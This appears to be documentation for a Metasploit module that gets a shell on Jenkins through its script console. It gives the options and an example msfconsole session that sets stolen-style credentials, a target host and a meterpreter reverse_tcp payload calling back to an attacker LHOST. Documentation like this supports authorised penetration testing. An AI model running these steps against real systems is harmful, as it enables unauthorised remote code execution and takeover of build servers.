Vulnerable Application
Jenkins can be downloaded from jenkins.io where binaries are available for a variety of operating systems. Both LTS and weekly builds are available.
Default settings have the script console enabled and require a valid user
account in order to access it. A known account can be used with this module by
setting the USERNAME and PASSWORD options.
Verification Steps
Example steps in this format:
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/jenkins_script_console - Do:
set RHOST [target host] - Do:
set TARGET [target id] - Do:
exploit - You should get a shell.
Options
TARGETURI
The path to the target instance of Jenkins.
USERNAME
A username to an account that has access to the script console. This is only necessary if the Jenkins instance has been configured to require authentication.
PASSWORD
A password to an account that has access to the script console. This is only necessary if the Jenkins instance has been configured to require authentication.
Scenarios
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set USERNAME steiner
USERNAME => steiner
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
PASSWORD => I<3msf!
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
RHOST => 192.168.254.126
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
LHOST => 192.168.254.132
